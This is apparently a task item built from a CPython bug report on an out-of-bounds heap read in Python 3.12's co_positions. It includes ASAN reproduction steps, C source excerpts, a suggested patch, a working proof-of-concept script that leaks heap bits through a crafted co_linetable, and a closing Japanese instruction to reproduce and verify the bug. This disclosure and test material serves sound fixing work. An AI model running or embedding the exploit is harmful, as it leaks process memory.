Leak 21~42 bits of heap data in python 3.12 by exploiting the code object co_positions iterator

Problem: Leak 21~42 bits of heap data in python 3.12.0 exploiting the co_positions iterator

Report: """
I've found two heap read out of bound in python 3.10 and 3.12 (and
probably 3.11) in the built-in library.
These are not critical bugs as they are caught by debug assertions and
allow to leak relatively little data (from 16 to 42 bits).
...
Here are the two proofs of concepts, I just wrote a little writeup and reproduction steps at the top of them.
I also added the fully symbolized ASAN crash reports.

TLDR: co_positions and co_lnotab are not properly bounds-checked, which is a problem only on adversarially constructed code objects
which shouldn't be critical as it requires code execution, but it might be triggered by code by libraries that manipulate the code objects.
(I found this bug in a library, and I'm also contacting them to patch it)

Thank you,
Tommaso Fontana
""" - @zommiommy (editor: I assume this is you? apologies if not!)

(editor: I'm splitting this out into two issues, one for 3.12 co_positions and another for 3.10 c_lnotab)

ASAN reproduction steps

# manually configure python with asan
OPT="-O0" CC="/usr/bin/clang" CFLAGS="-g" CXX="/usr/bin/clang++" CXXFLAGS="-g" ./configure --with-address-sanitizer --with-ensurepip=install --with-lto=no
# compile it
make -j24
# run the code
ASAN_SYMBOLIZER_PATH=$(which llvm-symbolizer) ./Python-3.12_asan/python ./poc_heap_leak_3.12.py

Relevant code

from Objects/codeobject.c:

static int
read_byte(PyCodeAddressRange *bounds)
{
    return *bounds->opaque.lo_next++;
}

static int
read_varint(PyCodeAddressRange *bounds)
{
    unsigned int read = read_byte(bounds);
    unsigned int val = read & 63;
    unsigned int shift = 0;
    while (read & 64) {
        read = read_byte(bounds);
        shift += 6;
        val |= (read & 63) << shift;
    }
    return val;
}

static void
advance_with_locations(PyCodeAddressRange *bounds, int *endline, int *column, int *endcolumn)
{
    ASSERT_VALID_BOUNDS(bounds);
    int first_byte = read_byte(bounds);
    int code = (first_byte >> 3) & 15;
    bounds->ar_start = bounds->ar_end;
    bounds->ar_end = bounds->ar_start + ((first_byte & 7) + 1) * sizeof(_Py_CODEUNIT);
    switch(code) {
        ...
        case PY_CODE_LOCATION_INFO_LONG:
        {
            bounds->opaque.computed_line += read_signed_varint(bounds);
            bounds->ar_line = bounds->opaque.computed_line;
            *endline = bounds->ar_line + read_varint(bounds);
            *column = read_varint(bounds)-1;
            *endcolumn = read_varint(bounds)-1;
            break;
        }
        ...
    }
    ASSERT_VALID_BOUNDS(bounds);
}

The ASSERT_VALID_BOUNDS asserts would catch this bug.
The function advance_with_locations does not properly bound check its reads.
Since bytes are saved with a trailing \0 (this can be seen in Objects/bytesobject.c at _PyBytes_fromSize),
setting co_lnotab = b'\x70' would result in a memory layout of 70 00 UB UB UB UB UB UB
where UB are some out of bound bytes.
Therefore, the line bounds->opaque.computed_line += read_signed_varint(bounds); will consume the \x00,
while the other 3 calls of read_varint reads out of bound.

This leaks bytes in multiple of 7 bits, the hsb is always unknown becasue it's supposed to be
always 1 except for the last line interval in the array.
This is done to speedup the eager computation, but it's irrelevant for the lazy evaluation.

Therefore the 7-th bit indicates if the number continues (alla LSB128 but with 6 bits instead of 7)
Also note that there is no overflow check, meaning that IF we leak more than
floor(32 / 6) = 5 -> 30 bits for leak (aka the bit 28 isn't 0), we don't know how many bytes
we read, thus the leaks are potentially separated and thus "useless"

Patch: add a boundcheck to read_varint or enable the asserts, these already avoid this
but they are disabled by default on release builds or add a boundcheck to read_byte
"""

import math
import types
import struct

def divide_chunks(l, n):
    """helper function for pretty print"""
    for i in range(0, len(l), n):
        yield l[i:i + n]

def print_leaked(l, offset):
    """Invert the 7 bits LSB128 encoding, `?` represents unknown bits"""
    if l is None:
        return "?0000000"

    l += offset
    result = ""
    code_words = []
    while l != 0:
        code_word, l = l & 0b111111, l >> 6
        code_words.append(code_word)

    if len(code_words) == 0:
        return "?0000000"

    for code_word in code_words[:-1]:
        result += "?1{:06b}".format(code_word)

    result += "?0{:06b}".format(code_words[-1])
    return result

n = 2**31-1

# leak stuff that's allocated after this string
# we can control the padding length to leak stuff from different arena / pools
padding = 2
linetable = (b"\x00\x00" * padding) + b"\x70"

c = types.CodeType(
    0, # co_argcount, 
    0, # co_posonlyargcount,
    0, # co_kwonlyargcount, 
    0, # co_nlocals,
    0, # co_stacksize, 
    0, # co_flags,
    b'', # co_code, 
    tuple(), # co_consts, 
    tuple(), # co_names,
    tuple(), # co_varnames, 
    '', # co_filename,
    '', # co_name, 
    "", # co_qualname
    n, # co_firstlineno, 
    linetable,# co_linetable,
    b'', # co_exceptiontable
    tuple(), # co_freevars,
    tuple(), # co_cellvars, 
)

line = list(c.co_positions())[-1]
l1 = (line[1] - n) % (2**32)
l2 = line[2]
l3 = line[3]
leak = print_leaked(l1, 0) + print_leaked(l2, 1) + print_leaked(l3, 1)
count = sum(int(b != "?") for b in leak)
print(f"[{count:4}] {' '.join(divide_chunks(leak, 8))}")

Objects/codeobject.c の read_byte、read_varint、advance_with_locations から開始し、提供された ASAN 設定と poc_heap_leak_3.12.py を使って報告を再現します。co_positions による co_linetable の処理を追跡し、不正なデータがその境界を越えて読み取ったり、release-build のメモリエラーを発生させずにヒープバイトを漏えいさせたりできないことを検証します。